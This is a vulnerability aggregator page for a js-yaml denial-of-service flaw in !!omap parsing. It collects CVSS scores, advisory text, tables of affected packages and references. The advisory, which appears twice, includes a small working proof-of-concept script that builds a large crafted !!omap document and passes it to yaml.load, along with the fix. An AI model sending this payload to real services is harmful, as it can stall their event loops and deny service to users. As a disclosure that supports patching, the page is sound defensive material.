CVE-2026-59870
js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
- Record
CVE-2026-59870- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-42300
7.5
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
- Record
EUVD-2026-42300- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-724g-mxrg-4qvm
5.3
js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });
Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});
- Record
GHSA-724g-mxrg-4qvm- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
NVD
7.5
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
- Record
CVE-2026-59870- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
OSV
7.5
js-yaml quadratic-complexity denial of service via YAML11_SCHEMA !!omap parsing
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
- Record
CVE-2026-59870- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVGHSA-724g-mxrg-4qvm
5.3
js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA
Summary
js-yaml v5.x introduces YAML11_SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11_SCHEMA }.
Details
In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525):
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => [],
addItem: (container, item) => {
// ...
for (const existing of container) // O(n) per insertion!
if (hasOwnProperty(existing, itemKeys[0]))
return 'cannot resolve an ordered map item';
container.push(object); // n insertions → O(n^2) total
return '';
}
});
For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.
PoC (runtime-confirmed on v5.2.0)
const yaml = require('js-yaml');
function buildOmapPayload(n) {
let p = '!!omap\n';
for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n';
return p;
}
// Timing results on v5.2.0:
// n=1000: 9ms
// n=5000: 73ms (5x n → 8x time)
// n=10000: 255ms (2x n → 3.5x time — supralinear)
// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)
// n=50000: 10613ms ← blocks event loop for >10 seconds
yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });
Impact
Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11_SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).
This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11_SCHEMA export).
Fix
Replace the O(n) linear scan in addItem with an O(1) Set-based lookup:
var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {
create: () => ({ list: [], seen: new Set() }),
addItem: (state, item) => {
const key = Object.keys(item)[0];
if (state.seen.has(key)) return 'duplicate omap key';
state.seen.add(key);
state.list.push(item);
return '';
},
resolve: (state) => state.list
});
- Record
GHSA-724g-mxrg-4qvm- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L - Weakness
- CWE-407, CWE-770
- Updated
- 2026-11-02
Show 15 moreShow less
OSVRHSA-2026:26994
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:26994- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:33866
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:33866- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:34478
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:34478- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:34975
8.1
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:34975- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:35272
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:35272- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:7378
7.7
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:7378- CVSS 3.0
- 7.7 High
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:7655
7.5
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:7655- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:9455
7.7
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:9455- CVSS 3.0
- 7.7 High
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-59870
7.5
js-yaml is a JavaScript YAML parser and dumper. Prior to 3.15.1, 4.3.1, and 5.2.1, YAML11_SCHEMA support for the !!omap tag in src/tag/sequence/omap.ts uses omapTag.addItem() to perform a linear duplicate-key scan on every insertion, causing O(n^2) CPU consumption when yaml.load() parses a crafted ordered-map document. In v3 and v4, !!omap is active and exploitable by default. v5 doesn't use !!omap by default, and the chances of activating it are very low.This issue is fixed in 3.15.1, 4.3.1, and 5.2.1.
- Record
UBUNTU-CVE-2026-59870- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1787592038 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.15.0-tuxcare.1.
- Record
CLSA-2026-1787592038- Updated
- 2026-11-02
OSVCLSA-2026-1790944389 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.7.0-tuxcare.4.
- Record
CLSA-2026-1790944389- Updated
- 2026-11-02
OSVCLSA-2026-1790950175 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 4.3.0-tuxcare.4.
- Record
CLSA-2026-1790950175- Updated
- 2026-11-02
OSVCLSA-2026-1790950271 No score
TuxCare security update for js-yaml (2 CVEs)
TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 4.1.0-tuxcare.4.
- Record
CLSA-2026-1790950271- Updated
- 2026-11-02
OSVCLSA-2026-1792473143 No score
TuxCare security update for js-yaml (2 CVEs)
TuxCare rebuilt js-yaml to address 2 CVEs. Fixed in 5.2.0-tuxcare.1.
- Record
CLSA-2026-1792473143- Updated
- 2026-11-02
OSVCLSA-2026-1792755810 No score
TuxCare security update for js-yaml (1 CVE)
TuxCare rebuilt js-yaml to address 1 CVE. Fixed in 3.14.1-tuxcare.4.
- Record
CLSA-2026-1792755810- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
js-yamlnpm |
5.0.0 to 5.2.0 | 5.2.1 |
js-yamlTuxCare:npm |
3.15.0-tuxcare.0 up to 3.15.0-tuxcare.1, plus listed versions 3.15.0 |
3.15.0-tuxcare.1 |
js-yamlTuxCare:npm |
3.7.0-tuxcare.0 up to 3.7.0-tuxcare.4, plus listed versions 3.7.03.7.0-tuxcare.13.7.0-tuxcare.23.7.0-tuxcare.3 |
3.7.0-tuxcare.4 |
js-yamlTuxCare:npm |
4.3.0-tuxcare.0 up to 4.3.0-tuxcare.4, plus listed versions 4.3.04.3.0-tuxcare.14.3.0-tuxcare.24.3.0-tuxcare.3 |
4.3.0-tuxcare.4 |
js-yamlTuxCare:npm |
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.4, plus listed versions 4.1.04.1.0-tuxcare.14.1.0-tuxcare.24.1.0-tuxcare.3 |
4.1.0-tuxcare.4 |
js-yamlTuxCare:npm |
5.2.0-tuxcare.0 up to 5.2.0-tuxcare.1, plus listed versions 5.2.0 |
5.2.0-tuxcare.1 |
js-yamlTuxCare:npm |
3.14.1-tuxcare.0 up to 3.14.1-tuxcare.4, plus listed versions 3.14.13.14.1-tuxcare.13.14.1-tuxcare.23.14.1-tuxcare.3 |
3.14.1-tuxcare.4 |
js-yamlnpm |
5.0.0 up to 5.2.1 | 5.2.1 |
dotnet-sdk-8.0Red Hat:hummingbird:1 |
before 0:8.0.128-1.hum1 | 0:8.0.128-1.hum1 |
dotnet-sdk-8.0-source-built-artifactsRed Hat:hummingbird:1 |
before 0:8.0.128-1.hum1 | 0:8.0.128-1.hum1 |
Show 72 moreShow less
| Package | Affected | Fixed |
|---|---|---|
dotnet-sdk-dbg-8.0Red Hat:hummingbird:1 |
before 0:8.0.128-1.hum1 | 0:8.0.128-1.hum1 |
dotnet-templates-8.0Red Hat:hummingbird:1 |
before 0:8.0.128-1.hum1 | 0:8.0.128-1.hum1 |
dotnet8.0Red Hat:hummingbird:1 |
before 0:8.0.128-1.hum1 | 0:8.0.128-1.hum1 |
nodejs26Red Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-binRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-develRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-docsRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-full-i18nRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-libsRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
nodejs26-npmRed Hat:hummingbird:1 |
before 0:11.17.0-1.26.4.0.1.3.hum1 | 0:11.17.0-1.26.4.0.1.3.hum1 |
nodejs26-npm-binRed Hat:hummingbird:1 |
before 0:26.4.0-1.3.hum1 | 0:26.4.0-1.3.hum1 |
v8-14.6-develRed Hat:hummingbird:1 |
before 0:14.6.202.34-1.26.4.0.1.3.hum1 | 0:14.6.202.34-1.26.4.0.1.3.hum1 |
nodejs24Red Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-binRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-develRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-docsRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-full-i18nRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-libsRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
nodejs24-npmRed Hat:hummingbird:1 |
before 0:11.16.0-1.24.18.0.0.2.hum1 | 0:11.16.0-1.24.18.0.0.2.hum1 |
nodejs24-npm-binRed Hat:hummingbird:1 |
before 0:24.18.0-0.2.hum1 | 0:24.18.0-0.2.hum1 |
v8-13.6-develRed Hat:hummingbird:1 |
before 0:13.6.233.17-1.24.18.0.0.2.hum1 | 0:13.6.233.17-1.24.18.0.0.2.hum1 |
cargoRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
clippyRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rustRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-analyzerRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-debugger-commonRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-docRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-gdbRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-lldbRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-srcRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-staticRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-aarch64-unknown-none-softfloatRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-aarch64-unknown-uefiRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-i686-pc-windows-gnuRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-wasm32-unknown-unknownRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-wasm32-wasip1Red Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-x86_64-pc-windows-gnuRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-x86_64-unknown-noneRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rust-std-static-x86_64-unknown-uefiRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
rustfmtRed Hat:hummingbird:1 |
before 0:1.96.1-1.hum1 | 0:1.96.1-1.hum1 |
nodejs22Red Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-binRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-develRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-docsRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-full-i18nRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-libsRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs22-npmRed Hat:hummingbird:1 |
before 0:10.9.8-1.22.23.1.2.hum1 | 0:10.9.8-1.22.23.1.2.hum1 |
nodejs22-npm-binRed Hat:hummingbird:1 |
before 0:22.23.1-2.hum1 | 0:22.23.1-2.hum1 |
nodejs25Red Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-binRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-develRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-docsRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-full-i18nRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-libsRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
nodejs25-npmRed Hat:hummingbird:1 |
before 0:11.12.1-1.25.9.0.1.1.hum1 | 0:11.12.1-1.25.9.0.1.1.hum1 |
nodejs25-npm-binRed Hat:hummingbird:1 |
before 0:25.9.0-1.1.hum1 | 0:25.9.0-1.1.hum1 |
yarnpkgRed Hat:hummingbird:1 |
before 0:1.22.22-18.1.hum1 | 0:1.22.22-18.1.hum1 |
nodejs20Red Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-binRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-develRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-docsRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-full-i18nRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-libsRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
nodejs20-npmRed Hat:hummingbird:1 |
before 0:10.8.2-1.20.20.2.1.hum1 | 0:10.8.2-1.20.20.2.1.hum1 |
nodejs20-npm-binRed Hat:hummingbird:1 |
before 0:20.20.2-1.hum1 | 0:20.20.2-1.hum1 |
node-js-yamlUbuntu:18.04:LTS |
All versions, plus listed versions 3.9.1+dfsg-13.10.0+dfsg-1 |
None known |
node-js-yamlUbuntu:20.04:LTS |
All versions, plus listed versions 3.13.1+dfsg-2 |
None known |
node-js-yamlUbuntu:22.04:LTS |
All versions, plus listed versions 3.14.1+dfsg+~3.12.6-24.1.0+dfsg+~4.0.5-4ubuntu14.1.0+dfsg+~4.0.5-54.1.0+dfsg+~4.0.5-6 |
None known |
node-js-yamlUbuntu:24.04:LTS |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-7 |
None known |
node-js-yamlUbuntu:25.10 |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-7 |
None known |
node-js-yamlUbuntu:26.10 |
All versions, plus listed versions 4.1.1+dfsg+~4.0.9-14.2.0+~4.0.9-14.2.0+~4.0.9-2 |
None known |
node-js-yamlUbuntu:26.04:LTS |
All versions, plus listed versions 4.1.0+dfsg+~4.0.5-74.1.1+dfsg+~4.0.9-1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-59870 is a high vulnerability (CVSS 7.5) in Nodeca Js-yaml, published April 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.74%, the 54th percentile. Fixed in js-yaml 5.2.1.
References
github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm
github.com/nodeca/js-yaml/commit/22a8071ef032117bc6249c330b240ac3aa2d3ded
github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe
github.com/nodeca/js-yaml/commit/c3cc4b0bb9ddb9af2dd9b61e0d56f5ce7983cd4a
github.com/nodeca/js-yaml/releases/tag/3.15.1
github.com/nodeca/js-yaml/releases/tag/4.3.1
Show 194 moreShow less
github.com/nodeca/js-yaml/releases/tag/5.2.1
nvd.nist.gov/vuln/detail/CVE-2026-59870
github.com/advisories/GHSA-724g-mxrg-4qvm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59870.json
github.com/nodeca/js-yaml
access.redhat.com/errata/RHSA-2026:26994
images.redhat.com
access.redhat.com/security/cve/CVE-2026-45591
access.redhat.com/security/updates/classification
access.redhat.com/security/cve/CVE-2026-45491
access.redhat.com/security/cve/CVE-2026-45736
access.redhat.com/security/cve/CVE-2026-59870
access.redhat.com/security/cve/CVE-2026-59868
access.redhat.com/security/cve/CVE-2026-59724
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_26994.json
bugzilla.redhat.com/show_bug.cgi?id=2487164
cve.org/CVERecord?id=CVE-2026-45491
nvd.nist.gov/vuln/detail/CVE-2026-45491
msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491
bugzilla.redhat.com/show_bug.cgi?id=2487224
cve.org/CVERecord?id=CVE-2026-45591
nvd.nist.gov/vuln/detail/CVE-2026-45591
msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591
bugzilla.redhat.com/show_bug.cgi?id=2477914
cve.org/CVERecord?id=CVE-2026-45736
nvd.nist.gov/vuln/detail/CVE-2026-45736
github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
bugzilla.redhat.com/show_bug.cgi?id=2498128
cve.org/CVERecord?id=CVE-2026-59724
nvd.nist.gov/vuln/detail/CVE-2026-59724
github.com/socketio/socket.io/commit/1fa1f46cd420ac5b57bb4c04c959b58f3c79158c
github.com/socketio/socket.io/releases/tag/[email protected]
github.com/socketio/socket.io/security/advisories/GHSA-gr94-w7qr-f4j3
bugzilla.redhat.com/show_bug.cgi?id=2498114
cve.org/CVERecord?id=CVE-2026-59868
nvd.nist.gov/vuln/detail/CVE-2026-59868
github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1
github.com/nodeca/js-yaml/releases/tag/5.2.0
github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv
bugzilla.redhat.com/show_bug.cgi?id=2498130
cve.org/CVERecord?id=CVE-2026-59870
access.redhat.com/errata/RHSA-2026:33866
access.redhat.com/security/cve/CVE-2026-13149
access.redhat.com/security/cve/CVE-2026-53550
access.redhat.com/security/cve/CVE-2026-48936
access.redhat.com/security/cve/CVE-2026-48934
access.redhat.com/security/cve/CVE-2026-48928
access.redhat.com/security/cve/CVE-2026-48930
access.redhat.com/security/cve/CVE-2026-48619
access.redhat.com/security/cve/CVE-2026-48935
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_33866.json
bugzilla.redhat.com/show_bug.cgi?id=2494813
cve.org/CVERecord?id=CVE-2026-13149
nvd.nist.gov/vuln/detail/CVE-2026-13149
github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754
npmjs.com/package/brace-expansion
bugzilla.redhat.com/show_bug.cgi?id=2493325
cve.org/CVERecord?id=CVE-2026-48619
nvd.nist.gov/vuln/detail/CVE-2026-48619
nodejs.org/en/blog/vulnerability/june-2026-security-releases
bugzilla.redhat.com/show_bug.cgi?id=2493333
cve.org/CVERecord?id=CVE-2026-48928
nvd.nist.gov/vuln/detail/CVE-2026-48928
bugzilla.redhat.com/show_bug.cgi?id=2493326
cve.org/CVERecord?id=CVE-2026-48930
nvd.nist.gov/vuln/detail/CVE-2026-48930
github.com/nodejs/node/commit/7dafafa2424710ded8b77eb7c878e884c1aef64e
hackerone.com/reports/3656716
bugzilla.redhat.com/show_bug.cgi?id=2493332
cve.org/CVERecord?id=CVE-2026-48934
nvd.nist.gov/vuln/detail/CVE-2026-48934
bugzilla.redhat.com/show_bug.cgi?id=2493329
cve.org/CVERecord?id=CVE-2026-48935
nvd.nist.gov/vuln/detail/CVE-2026-48935
bugzilla.redhat.com/show_bug.cgi?id=2493336
cve.org/CVERecord?id=CVE-2026-48936
nvd.nist.gov/vuln/detail/CVE-2026-48936
bugzilla.redhat.com/show_bug.cgi?id=2491401
cve.org/CVERecord?id=CVE-2026-53550
nvd.nist.gov/vuln/detail/CVE-2026-53550
github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68
access.redhat.com/errata/RHSA-2026:34478
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34478.json
access.redhat.com/errata/RHSA-2026:34975
access.redhat.com/security/cve/CVE-2026-38969
access.redhat.com/security/cve/CVE-2026-12064
access.redhat.com/security/cve/CVE-2026-8286
access.redhat.com/security/cve/CVE-2026-11352
access.redhat.com/security/cve/CVE-2026-11586
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_34975.json
bugzilla.redhat.com/show_bug.cgi?id=2496763
cve.org/CVERecord?id=CVE-2026-8286
nvd.nist.gov/vuln/detail/CVE-2026-8286
